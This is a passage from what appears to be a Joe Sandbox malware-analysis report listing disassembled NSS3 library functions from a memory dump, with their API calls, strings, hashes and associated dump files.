Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CC74DE1

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CC74DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC74E59

Part of subcall function 6CC5FAB0: free.MOZGLUE(?,-00000001,?,?,6CBFF673,00000000,00000000), ref: 6CC5FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD3300C,00000000), ref: 6CC74EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CC74EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CC74F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC7521A

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: c59368a74efae382974db194090844cdaf4699c27faaf129eb870619eb63830a
Instruction ID: d61ce2d99902b5cb039b89e31eef3dd23d84d0b501920a44e18c40ff1f38a253
Opcode Fuzzy Hash: c59368a74efae382974db194090844cdaf4699c27faaf129eb870619eb63830a
Instruction Fuzzy Hash: 5FF17A71E00209CBDB14CF59D8407AEB7B2FF45358F258169E915ABB81E735E982CFA0

Function 6CC70C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CC72C2A), ref: 6CC70C81

Part of subcall function 6CC5BE30: SECOID_FindOID_Util.NSS3(6CC1311B,00000000,?,6CC1311B,?), ref: 6CC5BE44

Part of subcall function 6CC48500: SECOID_GetAlgorithmTag_Util.NSS3(6CC495DC,00000000,00000000,00000000,?,6CC495DC,00000000,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC48517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC70CC4

Part of subcall function 6CC5FAB0: free.MOZGLUE(?,-00000001,?,?,6CBFF673,00000000,00000000), ref: 6CC5FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC70CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CC70D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CC70D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CC70D7D
free.MOZGLUE(00000000), ref: 6CC70DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC70DC1
free.MOZGLUE(00000000), ref: 6CC70DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC70E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC70E0F

Part of subcall function 6CC495C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC495E0
Part of subcall function 6CC495C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC495F5
Part of subcall function 6CC495C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CC49609
Part of subcall function 6CC495C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC4961D
Part of subcall function 6CC495C0: PK11_GetInternalSlot.NSS3 ref: 6CC4970B
Part of subcall function 6CC495C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC49756
Part of subcall function 6CC495C0: PK11_GetIVLength.NSS3(?), ref: 6CC49767
Part of subcall function 6CC495C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CC4977E
Part of subcall function 6CC495C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC4978E

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: c99ec77dd3f9d2fe37dbaf71e1b55319778db431ad5eae95a41f4b2aa2ecf2e0
Instruction ID: 19b9ce0c3c60773ac0930b8ad3ac3d42745842e2e77710cdf46383c8d6f83542
Opcode Fuzzy Hash: c99ec77dd3f9d2fe37dbaf71e1b55319778db431ad5eae95a41f4b2aa2ecf2e0
Instruction Fuzzy Hash: AE41D0B5900205AFEB109F65DD81BAF7A78EF14308F104168E91967741F736EA54CBF2

Function 6CC04FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CD50148,?,6CC16FEC), ref: 6CC0502A
PR_NewLock.NSS3(00000001,00000000,6CD50148,?,6CC16FEC), ref: 6CC05034
PL_NewHashTable.NSS3(00000000,6CC5FE80,6CC5FD30,6CCAC350,00000000,00000000,00000001,00000000,6CD50148,?,6CC16FEC), ref: 6CC05055
PL_NewHashTable.NSS3(00000000,6CC5FE80,6CC5FD30,6CCAC350,00000000,00000000,?,00000001,00000000,6CD50148,?,6CC16FEC), ref: 6CC0506D

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 05d2e0f8624c2a45d5e845c84d5f8615b38d47493947dc77187660ee7c46d2ac
Instruction ID: 6fbf1028ad446ee48f7d6038d392ceb36ccdaa4bc24cdaa317b43c5d998d0ba5
Opcode Fuzzy Hash: 05d2e0f8624c2a45d5e845c84d5f8615b38d47493947dc77187660ee7c46d2ac
Instruction Fuzzy Hash: 3A31D2B1B092109BFB109F66884CB6B3BBCAB2775CF414126EB0587640FB7A8405CBF5

Function 6CBA2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBA2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CBA2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CBA3005
memcpy.VCRUNTIME140(?,?,?), ref: 6CBA30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBA3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBA3178

Strings

database corruption, xrefs: 6CBA316C
%s at line %d of [%.10s], xrefs: 6CBA3171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBA3022, 6CBA3156, 6CBA3162, 6CBA318A, 6CBA3196, 6CBA31A2, 6CBA31AE, 6CBA31BA, 6CBA31C6

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 244f8714a9f568a32a7b6cc8f7f883b3f13940713acf5bf7b01744412f0290f6
Instruction ID: f8ceca9a30aec3375d4de6d8a315d345c0c9c7f1a51d0f836b76fbbe43a07530
Opcode Fuzzy Hash: 244f8714a9f568a32a7b6cc8f7f883b3f13940713acf5bf7b01744412f0290f6
Instruction Fuzzy Hash: 02B1AE70E092559BDB18CFDDC884AAEB7B1FF48304F148429E889B7B41D375D846CBA1

Function 6CC77F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CC77FB2

Part of subcall function 6CBFBA40: TlsGetValue.KERNEL32 ref: 6CBFBA51
Part of subcall function 6CBFBA40: TlsGetValue.KERNEL32 ref: 6CBFBA6B
Part of subcall function 6CBFBA40: EnterCriticalSection.KERNEL32 ref: 6CBFBA83
Part of subcall function 6CBFBA40: TlsGetValue.KERNEL32 ref: 6CBFBAA1
Part of subcall function 6CBFBA40: _PR_MD_UNLOCK.NSS3 ref: 6CBFBAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CC77FD4

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

Part of subcall function 6CC79430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CC79466

PR_ExitMonitor.NSS3(?), ref: 6CC7801B
PR_EnterMonitor.NSS3(?), ref: 6CC78034
TlsGetValue.KERNEL32 ref: 6CC780A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC780C0
PR_ExitMonitor.NSS3(?), ref: 6CC7811C
PR_ExitMonitor.NSS3(?), ref: 6CC78134

Strings

), xrefs: 6CC780DB

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 2b8810a9b553db95b5d237b633d1e62156b4bffed4863ca01bd96d1f2d6792bc
Instruction ID: 17d0d7d4cac71de3f2e0d13af71384af40ab43fe2395d54606edb74c632b6551
Opcode Fuzzy Hash: 2b8810a9b553db95b5d237b633d1e62156b4bffed4863ca01bd96d1f2d6792bc
Instruction Fuzzy Hash: 1E513571A007049BEB319F35DC05FEB77B4EF5231CF08052ADA59A2A41FB31A54AC7A2

Function 6CC1FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CC1FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CC1FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CC1FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC1FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CC1FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CC1FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CC1FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC1FD84

Strings

:, xrefs: 6CC1FD78

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: bf9baeb23a4341de3aa9e585a2dcfdafd51cad71732b44ca79a53da5d926422d
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 3931DEB2D082059FEB009FA6AC047AB77A8AF40218F140064DC08A7F10F771E908D7E2

Function 6CC36C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CC36C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC36C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC36CA3

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC36CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CC36CD5

Strings

C_DigestInit, xrefs: 6CC36C61
(CK_INVALID_HANDLE), xrefs: 6CC36C9C
pMechanism = 0x%p, xrefs: 6CC36CD0
hSession = 0x%x, xrefs: 6CC36C7E, 6CC36C8E

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: a25fb908f7141985efa8785c36e1309622cd79c98c6269ffb176b9d8e3476508
Instruction ID: 12aff1ca4ce52d666ceb371269f2adfa93aa82b515ebb7bea6bf2615edca5612
Opcode Fuzzy Hash: a25fb908f7141985efa8785c36e1309622cd79c98c6269ffb176b9d8e3476508
Instruction Fuzzy Hash: 0521D930A04524AFEB01DB56FD48B6A37B9FB8235DF444025E60D97B51EB38980CC7B1

Function 6CC39DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CC39DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC39E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC39E33

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC39E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CC39E65

Strings

flags = 0x%x, xrefs: 6CC39E60
(CK_INVALID_HANDLE), xrefs: 6CC39E2C
C_SessionCancel, xrefs: 6CC39DF1
hSession = 0x%x, xrefs: 6CC39E0E, 6CC39E1E

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 674e3bd0e484b7b65c0f50192b06182e70e6f076b031e38067ec89ed2c062289
Instruction ID: 040aced388b769116a539cd8b9edb0c664ebc9b6f6cf13c651b1e6695173c007
Opcode Fuzzy Hash: 674e3bd0e484b7b65c0f50192b06182e70e6f076b031e38067ec89ed2c062289
Instruction Fuzzy Hash: 7C21D871605124AFF700DB55EC88B7A37BDAB4274DF484025E60D97B61EF389848C7B2

Function 6CC06DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CC07D8F,6CC07D8F,?,?), ref: 6CC06DC8

Part of subcall function 6CC5FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CC5FE08
Part of subcall function 6CC5FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CC5FE1D
Part of subcall function 6CC5FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CC5FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CC07D8F,?,?), ref: 6CC06DD5

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD28FA0,00000000,?,?,?,?,6CC07D8F,?,?), ref: 6CC06DF7

Part of subcall function 6CC5B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD318D0,?), ref: 6CC5B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CC06E35

Part of subcall function 6CC5FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CC5FE29
Part of subcall function 6CC5FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CC5FE3D
Part of subcall function 6CC5FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CC5FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CC06E4C

Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD28FE0,00000000), ref: 6CC06E82

Part of subcall function 6CC06AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CC0B21D,00000000,00000000,6CC0B219,?,6CC06BFB,00000000,?,00000000,00000000,?,?,?,6CC0B21D), ref: 6CC06B01
Part of subcall function 6CC06AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CC06B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CC06F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CC06F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD28FE0,00000000), ref: 6CC06F6B
PR_SetError.NSS3(FFFFE005,00000000,6CC07D8F,?,?), ref: 6CC06FE1

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 3bca610239db36bf81842a0c201acb041950e77c2e578991f08802ddc03060ff
Instruction ID: 41cf49cf3b90b96fe0649d5e742fe91167e7fc2bf87886bdfbbd9cd45841ad8b
Opcode Fuzzy Hash: 3bca610239db36bf81842a0c201acb041950e77c2e578991f08802ddc03060ff
Instruction Fuzzy Hash: 60716E71E106569FEB00CF55CD40BAABBA4BF94308F154229EC18DBA11F771EAE5CB90

Function 6CC40FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC41057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC41085
PK11_GetAllTokens.NSS3 ref: 6CC410B1
free.MOZGLUE(?), ref: 6CC41107
PR_SetError.NSS3(00000000,00000000), ref: 6CC41172
free.MOZGLUE(?), ref: 6CC41182
free.MOZGLUE(?), ref: 6CC411A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CC411C5

Part of subcall function 6CC452C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CC1EAC5,00000001), ref: 6CC452DF
Part of subcall function 6CC452C0: EnterCriticalSection.KERNEL32(?), ref: 6CC452F3
Part of subcall function 6CC452C0: PR_Unlock.NSS3(?), ref: 6CC45358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC411D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC411F3

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 676fb1706057e7b2f10f14dcfed7e35bd892262c375b2c4dc6e9d956c23b7ed3
Instruction ID: b416609b166acf4de8f3980d53ff61b4ce54cf6a463b3e83d0d336a5a582f6db
Opcode Fuzzy Hash: 676fb1706057e7b2f10f14dcfed7e35bd892262c375b2c4dc6e9d956c23b7ed3
Instruction Fuzzy Hash: AA61A4B4E003459BEB00DF69D881B9AB7B4BF44348F14C128ED59AB741FB31E955CB51

Function 6CC4ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE10
EnterCriticalSection.KERNEL32(?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CC2D079,00000000,00000001), ref: 6CC4AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AE7F
TlsGetValue.KERNEL32(?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AEC9
